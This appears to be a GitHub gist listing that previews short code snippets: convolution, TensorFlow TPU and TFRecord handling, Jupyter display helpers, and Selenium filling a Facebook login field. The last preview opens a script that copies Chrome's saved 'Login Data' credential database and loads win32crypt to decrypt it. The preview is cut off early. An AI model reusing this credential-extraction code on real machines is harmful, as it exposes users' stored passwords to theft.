This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import numpy as np | |
#pure python implementation of convolutions of 2d arrays | |
def convolve2D(a1,a2,s): | |
''' | |
Calculating convolution for 2d array | |
Asumming all inputs a1,a2 nd-arrays of square shape (n*n) | |
Return: | |
convolution of inputs, nd-array | |
Input: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import tensorflow as tf | |
#Detect TPUs, GPUs | |
# Detect hardware, return appropriate distribution strategy | |
try: | |
# TPU detection. No parameters necessary if TPU_NAME environment variable is | |
# set: this is always the case on Kaggle. | |
tpu = tf.distribute.cluster_resolver.TPUClusterResolver() | |
print('Running on TPU ', tpu.master()) | |
except ValueError: | |
tpu = None |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import tensorflow as tf | |
train_record = 'tf-records/coco_train.record-00000-of-00001' | |
for i, record in enumerate(tf.python_io.tf_record_iterator(train_record)): | |
#print("######################### Record", i, "#########################") | |
example = tf.train.Example() | |
example.ParseFromString(record) | |
feature = example.features.feature | |
imgHeight = feature['image/height'].int64_list.value[0] | |
imgWidth = feature['image/width'].int64_list.value[0] | |
imgFileName = feature['image/filename'].bytes_list .value[0].decode('utf-8') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import tensorflow as tf | |
train_record = 'tf-records/coco_train.record-00000-of-00001' | |
def read_and_decode(filename_queue): | |
reader = tf.TFRecordReader() | |
_, serialized_example = reader.read(filename_queue) | |
features = tf.parse_single_example( | |
serialized_example, | |
# Defaults are not specified since both keys are required. | |
features={ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<annotation> | |
<folder>C:\Users\xxx</folder> | |
<filename>1549535517972.png</filename> | |
<source> | |
<database>AutoANN</database> | |
</source> | |
<size> | |
<width>800</width> | |
<height>450</height> | |
<depth>3</depth> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from IPython.display import HTML as html_print | |
def cstr(s, color='black'): | |
return "<text style=color:{}>{}</text>".format(color, s) | |
left, word, right = 'left print' , 'center print' , 'right print' | |
html_print(cstr(' '.join([left, cstr(word, color='green'), right]), color='black') ) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
##### add at the first cell of the jupyter notebook | |
##### call using hide_toggle() functin | |
from IPython.display import HTML | |
import random | |
def hide_toggle(for_next=False): | |
this_cell = """$('div.cell.code_cell.rendered.selected')""" | |
next_cell = this_cell + '.next()' | |
toggle_text = 'Toggle show/hide' # text shown on toggle link |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from selenium import webdriver | |
driver = webdriver.Firefox() | |
driver.get('https://www.facebook.com/') | |
with open('jquery-1.9.1.min.js', 'r') as jquery_js: | |
jquery = jquery_js.read() #read the jquery from a file | |
driver.execute_script(jquery) #active the jquery lib | |
driver.execute_script("$('#email').text('anhld')") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import os | |
import sqlite3 | |
import win32crypt | |
import sys | |
import shutil | |
file_path= "C:/Users/User_name/AppData/Local/Google/Chrome/User Data/Profile 3/Login Data" | |
shutil.copy(file_path, "path_to_current_directory") | |
# Connect to the Database |